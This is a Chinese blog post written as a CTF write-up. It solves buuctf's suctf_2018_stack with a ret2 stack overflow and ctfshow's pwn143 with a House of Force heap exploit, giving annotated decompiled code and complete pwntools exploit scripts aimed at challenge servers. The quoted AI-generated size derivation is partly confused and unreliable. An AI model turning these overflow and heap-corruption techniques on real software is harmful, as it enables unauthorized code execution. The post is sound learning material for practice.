buuctf:suctf_2018_stack、ctfshow 堆前置 pwn143
本文最后更新于239 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、suctf_2018_stack分析


64位没什么保护,运行一下

e..ida里面看看吧

就是一个很简单的ret2啊


2、suctf_2018_stack实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29838)

payload=b'a'*(0x20+8)+p64(0x400677)
p.send(payload)
p.interactive()
~                    


一般是用0x400676的但是这道题

以前遇到过这种问题,栈平衡,需要让它少接收或者多接收

3、ctfshow pwn143

来学学堆

是一个经典的堆题菜单,去看看ida,咱一点一点读懂代码

main函数的分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (__fastcall **v3)(signed __int64); // ST08_8@1
  int v4; // [sp+4h] [bp-1Ch]@2
  char buf; // [sp+10h] [bp-10h]@2
  __int64 v6; // [sp+18h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);//canary存放在v6
  init(*(_QWORD *)&argc, argv, envp);
  logo();
  //malloc申请了16字节的堆块用来存放两个8字节的指针
  v3 = (void (__fastcall **)(signed __int64))malloc(0x10uLL);
  *v3 = (void (__fastcall *)(signed __int64))hello_message;
  v3[1] = (void (__fastcall *)(signed __int64))goodbye_message;
  (*v3)(16LL);//这个就是调用hello_message(16)
  //主循环打印菜单
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    v4 = atoi(&buf);
    if ( (unsigned int)v4 <= 5 )
      break;
    puts("Invaild choice!!!");
  }
  JUMPOUT(__CS__, (char *)dword_40175C + dword_40175C[(unsigned __int64)(unsigned int)v4]);
}


hello_message


纯打印啊,下一个


ok,接下来我们看看菜单,假如我们先add

__int64 add()
{
  __int64 result; // rax@3
  __int64 v1; // rsi@12
  signed int i; // [sp+4h] [bp-1Ch]@4
  int v3; // [sp+8h] [bp-18h]@2
  char buf; // [sp+10h] [bp-10h]@2
  __int64 v5; // [sp+18h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  if ( num > 99 )
  {
    puts("Full");
LABEL_11:
    result = 0LL;
    goto LABEL_12;
  }
  printf("Please enter the length:");
  read(0, &buf, 8uLL);
  v3 = atoi(&buf);
  //这里没有对v3进行检查,如果v3是个负数,可能会分配很大的堆块
  if ( v3 )
  {
    for ( i = 0; i <= 99; ++i )
    {
      if ( !qword_6020A8[2 * i] )
      {
        *((_DWORD *)&list + 4 * i) = v3;
        qword_6020A8[2 * i] = malloc(v3);
        printf("Please enter the name:");
        *(_BYTE *)(qword_6020A8[2 * i] + (signed int)read(0, (void *)qword_6020A8[2 * i], v3)) = 0;
        ++num;
        goto LABEL_11;
      }
    }
    goto LABEL_11;
  }
  puts("Invaild length");
  result = 0LL;
LABEL_12:
  v1 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}


edit

__int64 edit()
{
  int v0; // ST10_4@4
  int v2; // [sp+Ch] [bp-24h]@3
  char buf; // [sp+18h] [bp-18h]@3
  char nptr; // [sp+20h] [bp-10h]@4
  __int64 v5; // [sp+28h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);//有栈溢出检查
  if ( num )
  {
    printf("Please enter the index:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    //这里v2也是存在数组越界的情况
    if ( qword_6020A8[2 * v2] )
    {
      printf("Please enter the length of name:", &buf);
      read(0, &nptr, 8uLL);
      v0 = atoi(&nptr);
      printf("Please enter the new name:", &nptr);
      *(_BYTE *)(qword_6020A8[2 * v2] + (signed int)read(0, (void *)qword_6020A8[2 * v2], v0)) = 0;
    }
    else
    {
      puts("Invaild index");
    }
  }
  else
  {
    puts("Nothing here~");
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

这里应该是修改chunk,存在漏洞

delete

__int64 delete()
{
  int v1; // [sp+Ch] [bp-14h]@3
  char buf; // [sp+10h] [bp-10h]@3
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  //释放后值置0
  if ( num )
  {
    printf("Please enter the index:");
    read(0, &buf, 8uLL);
    v1 = atoi(&buf);
    if ( qword_6020A8[2 * v1] )
    {
      free((void *)qword_6020A8[2 * v1]);
      qword_6020A8[2 * v1] = 0LL;
      *((_DWORD *)&list + 4 * v1) = 0;
      puts("free successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No");
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}


下面这个函数可以出flag

ok,但是对于漏洞的利用还是很茫然,跟着wp做一下吧,正好学习一下

4、pwn143(House of force利用)

我们写个脚本调试一下吧

from pwn import *
context(arch="amd64",log_level="debug")
#p=remote("",)
p=process("./pwn143")
elf=ELF("./pwn143")

def add(len,name):
    p.sendlineafter("Your choice:",str(2))
    p.sendlineafter("Please enter the length:",str(len))
    p.sendlineafter("Please enter the name:",name)

def edit(index,length,name):
    p.sendlineafter("Your choice:",str(3))
    p.sendlineafter("Please enter the index:",index)
    p.sendlineafter("Please enter the length of name:",length)
    p.sendlineafter("Please enter the new name:",name)

def delete(index):
    p.sendlineafter("Your choice:",str(4))
    p.sendlineafter("Please enter the index:",index)

def show():
    p.sendlineafter("Your choice:",str(1))

def see():
    gdb.attach(p)
    pause()

add(32,b"aaaa")
see()
Allocated chunk | PREV_INUSE
Addr: 0x3676f290
Size: 0x20 (with flag bits: 0x21)//v3,就是main函数开始申请的堆块,存有两个指针,v3[1]在执行5时会被调用,所以我们要修改的就是这里的内容

Allocated chunk | PREV_INUSE
Addr: 0x3676f2b0
Size: 0x30 (with flag bits: 0x31)//我们申请的堆块

我们算一下topchunk_header到v3_header距离是0x50

我们看看利用思路(来自ctfshow wp):

1.通过house of force,将top chunk的地址移到记录goodbye_messaged的chunk0处

2. 再次申请chunk,我们就能分配到chunk0

3. 将goodbye_message改为后⻔函数的地址

4. 输⼊5调⽤v4[1],即可获得flag

所以我们应该要mallic(-0x50)才行,但是,这里有一些知识需要捋一捋

在 glibc 的堆实现中,堆块的大小需要满足 16 字节对齐(即地址是 16 的倍数)。

因此,malloc 会将请求的大小向上对齐到 16 的倍数。也就是x+0xf

一下是人机的分析:
实际上,malloc 会将请求的大小向上对齐到 16 的倍数。因此,我们需要找到一个 x,使得:

(x+0x8+0xf)&∼0xf=0xffffffffffffffb0

这里 x 是 malloc 请求的大小,0x8 是堆块头部的大小,0xf 是对齐掩码。

公式推导:

从公式中可以看出,k 的范围是 0 到 0xf,x 需要满足:

x+0x8+0xf=0xffffffffffffffb0

简化后:

x=0xffffffffffffffb0−0x8−0xf=0xffffffffffffffa8

当 k = 0xf 时:

x=0xffffffffffffffb0+0xf−0x17=0xffffffffffffffa8

这个值是 16 的倍数,因此是合适的。

所以需要申请堆块的大小是0xffffffffffffffa8用计算器捣鼓一下就是呃-0x58,对

0xffffffffffffffb0的意思就是0x3676f2b0因为只需要用到b0嘛

核心要点就是malloc 会将请求的大小向上对齐到 16 的倍数。

我们利用malloc(-0x58)将top_chunk移动至v4,再填入我们的payload

payload=b'a'*0x8+p64(flag)#0x80是第一个指针


ok,我们开始利用

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28308)
#p=process("./pwn143")
elf=ELF("./pwn143")

def add(len,name):
    p.sendlineafter("Your choice:",str(2))
    p.sendlineafter("Please enter the length:",str(len))
    p.sendlineafter("Please enter the name:",name)

def edit(index,length,name):
    p.sendlineafter("Your choice:",str(3))
    p.sendlineafter("Please enter the index:",str(index))
    p.sendlineafter("Please enter the length of name:",str(length))
    p.sendlineafter("Please enter the new name:",name)

def delete(index):
    p.sendlineafter("Your choice:",str(4))
    p.sendlineafter("Please enter the index:",index)

def show():
    p.sendlineafter("Your choice:",str(1))

#def see():
    gdb.attach(p)
    pause()

add(0x20,b"aaaa")
payload=b'a'*(0x20+8)+p64(0xffffffffffffffff)
edit(0,80,payload)
flag=0x0000000000400D7F
add(-0x58,b'cccc')
payload=b'a'*0x8+p64(flag)
add(0x10,payload)
p.sendlineafter("Your choice:",str(5))
p.interactive()

做出堆了啊,继续加油......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇